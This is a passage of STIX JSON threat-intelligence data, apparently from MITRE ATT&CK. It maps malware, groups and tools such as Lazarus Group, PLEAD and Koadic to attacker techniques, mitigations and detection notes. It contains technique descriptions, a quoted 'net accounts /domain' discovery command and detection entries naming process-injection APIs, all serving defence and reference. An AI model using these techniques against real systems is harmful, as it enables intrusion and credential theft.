2016.","url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"},{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T20:17:20.631Z","description":"[Crimson](https://attack.mitre.org/software/S0115) can use a module to perform keylogging on compromised hosts.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5dcc5947-375c-4b73-867b-5beb6e333c69","type":"relationship","created":"2019-09-10T18:20:12.926Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-11-10T15:55:10.234Z","description":"Restrict write access to XDG autostart entries to only select privileged users.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5dd0d491-bb82-45b4-91cd-a7d9e4cf396e","type":"relationship","created":"2020-05-06T15:26:38.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PLEAD Malware July 2018","url":"https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/","description":"Cherepanov, A.. (2018, July 9). Certificates stolen from Taiwanese tech‑companies misused in Plead malware campaign. Retrieved May 6, 2020."}],"modified":"2020-05-06T15:26:38.870Z","description":"[PLEAD](https://attack.mitre.org/software/S0435) has the ability to steal saved passwords from Microsoft Outlook.(Citation: ESET PLEAD Malware July 2018)","relationship_type":"uses","source_ref":"malware--b57f419e-8b12-49d3-886b-145383725dcd","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5dd257c0-c2cb-422a-9991-93ff667c5ad6","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT FALLCHILL Nov 2017","description":"US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA – North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-318A"}],"modified":"2020-03-27T20:45:20.253Z","description":"[FALLCHILL](https://attack.mitre.org/software/S0181) can collect operating system (OS) version information, processor information, system name, and information about installed disks from the victim.(Citation: US-CERT FALLCHILL Nov 2017)","relationship_type":"uses","source_ref":"malware--fece06b7-d4b1-42cf-b81a-5323c917546e","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5dd2c2dd-dcc3-44f5-9c9a-3055cda6c5fa","created":"2023-07-10T20:38:06.656Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T20:04:36.257Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), used RustScan to scan for open ports on targeted ESXi appliances.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5ddcecdb-9e54-4e8e-b67b-64d24ec3264a","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.840Z","description":"[Koadic](https://attack.mitre.org/software/S0250) can use WMI to execute commands.(Citation: Github Koadic)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5de10f34-9796-499d-a3e4-3977f2eb7154","created":"2024-04-05T20:10:06.789Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-05T20:10:06.789Z","description":"[RAPIDPULSE](https://attack.mitre.org/software/S1113) can transfer files to and from compromised hosts.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"malware--d1008b78-960c-4b36-bdc4-39a734e1e4e3","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5de21fc4-c460-4da4-9dc4-2acdd54640a8","created":"2017-05-31T21:33:27.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.316Z","description":"[APT29](https://attack.mitre.org/groups/G0016) used Kerberos ticket attacks for lateral movement.(Citation: Mandiant No Easy Breach)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5de38b67-dbc7-46bf-bb73-91cd0e069d05","type":"relationship","created":"2020-05-26T16:17:59.556Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Rocke August 2018","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}],"modified":"2020-05-26T16:17:59.556Z","description":"[Rocke](https://attack.mitre.org/groups/G0106)'s miner, \"TermsHost.exe\", evaded defenses by injecting itself into Windows processes, including Notepad.exe.(Citation: Talos Rocke August 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5dedb236-b37b-4e6b-bd3d-a09ddc1e9c17","type":"relationship","created":"2021-06-03T18:44:29.898Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-06-03T18:44:29.898Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001","target_ref":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5df34449-b814-4580-a32c-d02f25cd8fe4","created":"2024-09-23T22:57:16.879Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:57:16.879Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) mimicked legitimate file names and scheduled tasks, e.g. ` MicrosoftCurrentupdatesCheck` and\n`MdMMaintenenceTask` to mask malicious files and scheduled tasks.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5df4363d-deb1-4ae9-bec6-2b9a9198c53b","type":"relationship","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.835Z","description":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Elastic Process Injection July 2017","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}]},{"type":"relationship","id":"relationship--5df525ae-d983-4fde-ac10-b07a820d9046","created":"2022-02-01T14:23:04.463Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Google TAG Lazarus Jan 2021","description":"Weidemann, A. (2021, January 25). New campaign targeting security researchers. Retrieved December 20, 2021.","url":"https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T19:39:19.453Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used PowerShell to execute commands and malicious code.(Citation: Google TAG Lazarus Jan 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5df81b26-0cbe-4b2e-abce-bb7b98a1064d","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2020-03-20T01:54:04.104Z","description":"[MURKYTOP](https://attack.mitre.org/software/S0233) uses the command-line interface.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--049ff071-0b3c-4712-95d2-d21c6aa54501","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5e09a01c-8dc8-4ada-bfaa-b2298a39eece","created":"2024-08-30T13:53:43.587Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T13:53:43.587Z","description":"Preemptively search through communication services to find inappropriately shared data, and take actions to reduce exposure when found. ","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--fb75213f-cfb0-40bf-a02f-3bad93d6601e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5e0bb60b-21e7-4913-862b-61f8831c1732","created":"2024-06-10T21:20:20.867Z","revoked":false,"external_references":[{"source_name":"Secureworks GOLD IONIC April 2024","description":"Counter Threat Unit Research Team. (2024, April 15). GOLD IONIC DEPLOYS INC RANSOMWARE. Retrieved June 5, 2024.","url":"https://www.secureworks.com/blog/gold-ionic-deploys-inc-ransomware"},{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T21:20:20.867Z","description":"[INC Ransomware](https://attack.mitre.org/software/S1139) has the ability to use wmic.exe to spread to multiple endpoints within a compromised environment.(Citation: Huntress INC Ransom Group August 2023)(Citation: Secureworks GOLD IONIC April 2024)\n","relationship_type":"uses","source_ref":"malware--f25d4207-25b2-4bb0-a17a-403943c670ad","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e165901-44c0-423e-972b-d626b0c7cebf","type":"relationship","created":"2020-03-14T22:24:22.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-26T23:12:30.624Z","description":"Web proxies can be used to enforce external network communication policy that prevents use of unauthorized external services.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e168a94-8882-4e6d-bc61-e86588b52242","type":"relationship","created":"2022-03-26T03:47:58.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mythc Documentation","url":"https://docs.mythic-c2.net/","description":"Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022."}],"modified":"2022-03-26T03:47:58.879Z","description":"[Mythic](https://attack.mitre.org/software/S0699) supports WebSocket and TCP-based C2 profiles.(Citation: Mythc Documentation)\t","relationship_type":"uses","source_ref":"tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e22a5b4-49cf-4dfe-9a08-3e29b94c2eb8","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5e23c694-3f4a-43f7-823b-8ea36558c928","created":"2020-03-17T02:25:11.600Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Regin","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-01T02:49:27.909Z","description":"The [Regin](https://attack.mitre.org/software/S0019) malware platform supports many standard protocols, including SMB.(Citation: Kaspersky Regin)","relationship_type":"uses","source_ref":"malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e24d0cf-dc61-4894-b2fa-0f8f96650c41","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation.","source_ref":"x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd","target_ref":"attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5e28da21-d977-4488-a8dc-10bad0833374","created":"2022-02-01T15:24:06.895Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.","url":"https://securelist.com/lazarus-threatneedle/100803/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T17:20:50.643Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has sent malicious links to victims via email.(Citation: Kaspersky ThreatNeedle Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e2b2df2-e54f-44b5-bd86-fefdae513bc2","type":"relationship","created":"2020-05-22T20:29:56.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.","url":"https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets","source_name":"Symantec Chafer Dec 2015"}],"modified":"2020-05-22T20:29:56.339Z","description":"(Citation: Symantec Chafer Dec 2015)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"malware--a705b085-1eae-455e-8f4d-842483d814eb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5e2d566c-0419-4d6a-bba1-5e860cf3a716","created":"2022-03-30T14:26:51.840Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls associated with detecting token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior. Analysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.","modified":"2022-04-06T12:37:27.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e2e672a-02d4-4510-a629-942d44a558f1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"}],"modified":"2021-04-27T19:53:40.811Z","description":"[DustySky](https://attack.mitre.org/software/S0062) contains a keylogger.(Citation: DustySky)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5e3036ee-9d90-4fbb-a435-ff6caf9d38c6","created":"2023-03-17T15:44:50.524Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T14:53:10.590Z","description":"For [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) conducted extensive reconnaissance research on potential targets.(Citation: ClearSky Lazarus Aug 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5e338cdf-8cf7-4d67-945e-850b7dbd33d9","created":"2022-03-30T14:26:51.842Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for unexpected/abnormal file accesses to removable media (optical disk drive, USB memory, etc.) connected to the compromised system. ","modified":"2022-04-14T12:59:02.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e39caf2-083b-4e4c-b04f-d83c512341cb","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Targeted Attacks Middle East Banks","description":"Singh, S., Yin, H. (2016, May 22). https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html. Retrieved April 5, 2018.","url":"https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html"}],"modified":"2020-03-18T20:18:02.930Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used net.exe in a script with net accounts /domain to find the password policy of a domain.(Citation: FireEye Targeted Attacks Middle East Banks)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5e3c0815-5dc8-44a4-9dce-16bff49fb218","created":"2023-03-17T15:09:55.636Z","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T15:09:55.636Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) digitally signed their own malware to evade detection.(Citation: ESET Lazarus Jun 